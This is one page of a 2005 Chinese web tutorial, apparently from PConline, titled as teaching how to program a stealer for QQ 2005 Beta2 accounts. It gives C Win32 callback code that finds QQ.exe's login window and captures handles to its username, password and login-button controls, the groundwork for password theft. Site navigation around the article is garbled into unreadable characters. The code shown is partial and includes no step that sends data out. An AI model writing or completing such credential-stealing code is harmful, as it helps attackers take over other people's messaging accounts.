闂傚倷娴囬妴鈧柛瀣崌閺岀喖顢涘⿰鍐炬毉濡炪們鍎婚幏锟� (0) +1 闂備浇宕垫慨宥咁吋閸℃浼� (0) +1 闂傚倸鍊搁オ瀛樼閻戣棄绠柨鐕傛嫹 (0) +1
闂傚倷娴囬妴鈧柛瀣崌閺岀喖顢涘⿰鍐炬毉濡炪們鍎查崹鍧楀蓟閻旇 鍋撳☉娅亝鎱ㄩ崶褉鏀芥い鏇炴鐎氾拷闂傚倷绀侀幖顐ゆ偖椤愶箑纾块柛鎰嚋閼板潡鏌涘☉娆愮稇缂備讲鏅犻弻鐔碱敍濠婂喚鏆銈冨劵閹凤拷>>

正在阅读:编程实现盗2005 Beta2版QQ编程实现盗2005 Beta2版QQ

2005-09-01 10:02 出处:PConline 作者:∮明天去要饭 责任编辑:moningfeng

  (三) 枚举所有窗口,找属于QQ.exe的窗口
  BOOL CALLBACK EnumAllWindowsProc(HWND hwnd,LPARAM lParam)
  {
   if(hwnd == NULL)
   {
    return FALSE;
   }
   //QQ.exe的ID
   DWORD dwQQProcessID;
   dwQQProcessID = (DWORD)lParam;
   GetWindowThreadProcessId(hwnd,&dwCreateWindowProcessID); 
   //如果创建QQ.exe的进程等于创建窗口的进程 
   if(dwQQProcessID == dwCreateWindowProcessID)
   {
    LONG lWindowStyle;
    //找到窗口的风格
    lWindowStyle = GetWindowLong(hwnd,GWL_STYLE);  
    //如果条件成立,表示当前窗口为登陆窗口
    if(lWindowStyle == QQLoginDlgNormalStyle ||
     lWindowStyle == QQLoginDlgMiniStyle)
    { 
     //保存登陆窗口的句柄
     hLoginWindow = hwnd;  
    } 
   } 
   return TRUE;
  }
  该回调函数执行完后,就得到QQ登陆窗口的句柄。保存在hLoginWindow中。

  (四) 获取用户名、密码、登陆按钮的句柄
  BOOL CALLBACK EnumChildWindowsProc(HWND hwnd,LPARAM lParam)
  {
   if(hwnd == FALSE)
   {
    return FALSE;
   }
   LONG  lID;
   //取得所有子窗口的ID
   lID = GetWindowLong(hwnd, GWL_ID);
   //该句表示找到用户名的句柄
   if(lID == QQLoginUserNameId)
   {  
    hUserName = hwnd; 
   }
   else if(lID == QQLoginPasswordId)
   {
    hUserPwd = hwnd;
   }
   else if(lID == QQLoginButtonId)
   {
    hLoginButton = hwnd; 
   }
   return TRUE;
  }

  注意:以上回调函数用到了三个变量,别忘了在顶部定义哦!

  //用户名、密码、登陆按钮的句柄
  HWND hUserName;
  HWND hUserPwd;
  HWND hLoginButton;

键盘也能翻页,试试“← →”键

相关文章

关注我们

最新资讯离线随时看 聊天吐槽赢奖品
闂傚倷绀佺紞濠傖缚瑜旈、鏍幢濡炵粯鏁犻梺閫炲苯澧撮柟顔款潐閹峰懘宕ㄦ繝鍌欐樊婵犵妲呴崑鎾诲箯閿燂拷闂傚倷鐒﹂幃鍫曞磿閹惰棄纾绘繛鎴欏灩閺勩儵鎮橀悙鏉垮珟濞存粍绮撻弻娑㈩敃閿濆棛顦ラ梺鍛婃閹凤拷